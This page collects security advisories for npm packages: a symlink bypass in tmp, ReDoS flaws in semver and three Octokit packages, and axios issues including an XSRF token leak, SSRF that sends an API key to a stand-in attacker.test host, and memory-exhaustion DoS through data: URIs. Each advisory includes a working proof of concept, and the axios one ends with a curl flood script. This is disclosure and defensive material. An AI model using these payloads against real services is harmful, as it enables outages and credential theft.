Version Details and Security Vulnerabilities

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Summary

The regular expression /<([^>]+)>; rel="deprecation"/ used to match the link header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex's matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious link header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.

Details

The vulnerability resides in the regular expression /<([^>]+)>; rel="deprecation"/, which is used to match the link header in HTTP responses. This regular expression captures content between angle brackets (<>) followed by ; rel="deprecation". However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input. An attacker can exploit this vulnerability by sending a specially crafted link header designed to trigger excessive backtracking. For example, the following headers:

fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");

The crafted link header consists of 100,000 consecutive < characters followed by a closing >. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load. The issue is present in the following code:

const matches = responseHeaders.link && responseHeaders.link.match(/<([^>]+)>; rel="deprecation"/);

In this scenario, the link header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.

PoC

The gist of PoC.js

1. run npm i @octokit/request
2. run 'node poc.js' result:
3. then the program will stuck forever with high CPU usage

import { request } from "@octokit/request";
const originalFetch = globalThis.fetch;
globalThis.fetch = async (url, options) => {
  const response = await originalFetch(url, options);
  const fakeHeaders = new Headers(response.headers);
  fakeHeaders.set("link", "<".repeat(100000) + ">");
  fakeHeaders.set("deprecation", "true");
  return new Response(response.body, {
    status: response.status,
    statusText: response.statusText,
    headers: fakeHeaders
  });
};
request("GET /repos/octocat/hello-world")
  .then(response => {
    // console.log("[+] Response received:", response);
  })
  .catch(error => {
    // console.error("[-] Error:", error);
  });
// globalThis.fetch = originalFetch;

Impact

This is a Denial of Service (DoS) vulnerability caused by a ReDoS (Regular Expression Denial of Service) flaw. The vulnerability allows an attacker to craft a malicious link header that exploits the inefficient backtracking behavior of the regular expression used in the code. The primary impact is the potential for server resource exhaustion, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance. The vulnerability impacts any system that uses this specific regular expression to process link headers in HTTP responses. This can include:

• Web applications or APIs that rely on parsing headers for deprecation information.
• Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.
• Service providers who may face disruption in operations or performance degradation due to this flaw. If left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious link header, making it a low-barrier attack that could be exploited by anyone.

Summary

A Regular Expression Denial of Service (ReDoS) vulnerability exists in the processing of HTTP request headers. By sending an authorization header containing an excessively long sequence of spaces followed by a newline and "@", an attacker can exploit inefficient regular expression processing, leading to excessive resource consumption. This can significantly degrade server performance or cause a denial-of-service (DoS) condition, impacting availability.

Details

The issue occurs at line 52 of iterator.ts in the @octokit/request-error repository. The vulnerability is caused by the use of an inefficient regular expression in the handling of the authorization header within the request processing logic:

authorization: options.request.headers.authorization.replace(
  / .*$/, 
  " [REDACTED]"
)

The regular expression / .*$/ matches a space followed by any number of characters until the end of the line. This pattern is vulnerable to Regular Expression Denial of Service (ReDoS) when processing specially crafted input. Specifically, an attacker can send an authorization header containing a long sequence of spaces followed by a newline and "@", such as:

headers: {
  authorization: "" + " ".repeat(100000) + "\n@",
}

Due to the way JavaScript's regular expression engine backtracks while attempting to match the space followed by arbitrary characters, this input can cause excessive CPU usage, significantly slowing down or even freezing the server. This leads to a denial-of-service condition, impacting availability.

PoC

The gist of PoC.js

1. run npm i @octokit/request-error
2. run 'node poc.js' result:
3. then the program will stuck forever with high CPU usage

import { RequestError } from "@octokit/request-error";

const error = new RequestError("Oops", 500, {
  request: {
    method: "POST",
    url: "https://api.github.com/foo",
    body: {
      bar: "baz",
    },
    headers: {
      authorization: ""+" ".repeat(100000)+"\n@",
    },
  },
  response: {
    status: 500,
    url: "https://api.github.com/foo",
    headers: {
      "x-github-request-id": "1:2:3:4",
    },
    data: {
      foo: "bar",
    },
  },
});

Impact

Vulnerability Type & Impact:

This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to an inefficient regular expression (/ .*$/) used to sanitize the authorization header. An attacker can craft a malicious input that triggers excessive backtracking in the regex engine, leading to high CPU consumption and potential denial-of-service (DoS).

Who is Impacted?

• Projects or services using this code to process HTTP headers are vulnerable.
• Applications that rely on user-supplied authorization headers are at risk, especially those processing a large volume of authentication requests.
• Multi-tenant or API-driven platforms could experience degraded performance or service outages if exploited at scale.

Summary

For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.

Details

The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:

url = ((normalizedResponse.headers.link || "").match(
  /<([^>]+)>;\s*rel="next"/,
) || [])[1];

The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.

PoC

The gist of PoC.js

1. run npm i @octokit/plugin-paginate-rest
2. run 'node poc.js' result:
3. then the program will stuck forever with high CPU usage

import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";

const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
  auth: "your-github-token",
});

// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
  const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
  return {
    data: [],
    headers: {
      link: maliciousLinkHeader, // Inject malicious 'link' header
    },
  };
});

// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
  try {
    for await (const normalizedResponse of octokit.paginate.iterator(
      "GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
    )) {
      console.log({ normalizedResponse });
    }
  } catch (error) {
    console.error("Error encountered:", error);
  }
})();

Impact

What kind of vulnerability is it?

This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:

/<([^>]+)>;\s*rel="next"/

When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.

Who is impacted?

• Users of @octokit/plugin-paginate-rest who call octokit.paginate.iterator() and process untrusted or manipulated Link headers.
• Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
• GitHub API consumers who integrate this package into their projects for paginated data retrieval.

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

1. Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.